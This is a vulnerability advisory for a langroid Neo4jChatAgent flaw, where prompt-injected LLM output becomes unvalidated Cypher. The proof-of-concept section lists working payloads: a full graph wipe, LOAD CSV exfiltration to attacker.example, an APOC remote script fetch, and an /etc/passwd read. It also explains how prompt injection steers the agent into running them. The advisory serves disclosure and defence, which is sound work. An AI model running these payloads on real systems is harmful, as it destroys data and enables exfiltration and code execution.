CVE-2026-55615: langroid Neo4jChatAgent Prompt-to-Cypher Injection (RCE)
Langroid's Neo4jChatAgent passes LLM-generated Cypher queries directly to the Neo4j driver with no validation, letting anyone who can influence the agent's prompt read or destroy all graph data and, w
The problem
Neo4jChatAgent exposes two tools, CypherRetrievalTool and CypherCreationTool, whose `cypher_query` field is populated entirely by the LLM. Both are enabled unconditionally at agent startup. The LLM-supplied string reaches `session.run(query, parameters)` (read path) and `tx.run(query, parameters)` (write path) with no interposed validation whatsoever.
The only string inspection in `write_query` is a `.upper()` substring check whose sole effect is setting `self.config.database_created = True`. It blocks nothing. An attacker who can steer the prompt (directly or via RAG-injected content) controls the executed Cypher.
At minimum this gives full graph read/write/destroy and LOAD CSV SSRF. When APOC or `dbms.*` procedures are granted to the database role, the ceiling is OS-command and filesystem access, matching the parent CVE-2026-25879.
Proof of concept
A working proof-of-concept for CVE-2026-55615 in langroid, with the exact payload below.
# --- Sink trace (derived from advisory + source analysis, no live Neo4j required) ---
# 1. Verify the guard is absent (one shell command proves the asymmetry):
grep -n "_validate_query\|allow_dangerous" langroid/agent/special/sql/sql_chat_agent.py
# -> many hits: gate definition (:256), validator (:618-704), call site (:721)
grep -n "_validate_query\|allow_dangerous" langroid/agent/special/neo4j/neo4j_chat_agent.py
# -> ZERO hits
# 2. Read path: LLM-controlled string flows unobstructed to session.run()
# neo4j_chat_agent.py:325 query = msg.cypher_query
# neo4j_chat_agent.py:328 self.read_query(query)
# neo4j_chat_agent.py:223 session.run(query, parameters) <-- sink, no validation
# 3. Write path: same string flows to tx.run()
# neo4j_chat_agent.py:348 query = msg.cypher_query
# neo4j_chat_agent.py:351 self.write_query(query)
# neo4j_chat_agent.py:276 tx.run(query, parameters) <-- sink, no validation
# 4. Minimal Cypher payloads the agent will execute verbatim (non-contingent floor):
# Full graph destroy (same statement the built-in remove_database helper uses):
MATCH (n) DETACH DELETE n
# SSRF / remote fetch (built-in Cypher, no APOC needed):
LOAD CSV FROM 'http://attacker.example/exfil?d='+toString(id(n)) AS row MATCH (n) RETURN n
# 5. APOC-contingent ceiling (RCE when apoc.* procedures are granted to the DB role):
CALL apoc.load.url('http://attacker.example/shell.groovy') YIELD value RETURN value
# or: CALL apoc.cypher.runFile('/etc/passwd') YIELD value RETURN valueThe root cause is CWE-74 (Injection via downstream component): `msg.cypher_query` is LLM-controlled and reaches the Neo4j driver as the first positional argument to `session.run()` / `tx.run()` with no sanitization, allowlist, or opt-out gate in the call chain.
The patch asymmetry is the clearest proof. SQLChatAgent, fixed for the parent CVE, enforces a `_validate_query` call at `sql_chat_agent.py:721` before every execution: a dangerous-pattern regex blocklist, a sqlglot statement-type allowlist defaulting to SELECT-only, and an AST-level dangerous-function check.
A grep for `_validate_query` or `allow_dangerous` in `neo4j_chat_agent.py` returns zero results on the vulnerable commit (HEAD b9df06f, v0.65.3).
The same project applied the defence to SQL and simply omitted it for Cypher, which is the definition of an incomplete fix for the same injection class.
The fix
Upgrade to langroid 0.65.5 or later. The patch mirrors the SQLChatAgent controls: a new `allow_dangerous_operations: bool = False` config gate on `Neo4jChatAgentConfig`, with `CypherRetrievalTool` restricted to read-only queries by default and both tools rejecting `LOAD CSV`, `CALL apoc.*`, `CALL dbms.*`, and `CALL db.*` admin procedures unless the operator explicitly sets `allow_dangerous_operations=True`.
Validation is enforced at the tool handlers before `session.run()` and `tx.run()`. The sibling `ArangoChatAgent` (AQL) received the same fix in the same release. Run the agents against a least-privilege database role regardless of the setting.
Related research
- high · 8.1CVE-2026-54771CVE-2026-54771: langroid Unauthorized Tool Invocation via User-Supplied JSON
- criticalCVE-2026-54760CVE-2026-54760: langroid SQLChatAgent pg_read_file Blocklist Bypass
- high · 7.8CVE-2026-55426CVE-2026-55426: linuxfabrik-lib OS Command Injection via shell_exec
- high · 7.1CVE-2026-55787CVE-2026-55787: flyto-core SSRF Guard Bypass via IPv6 Transition Addresses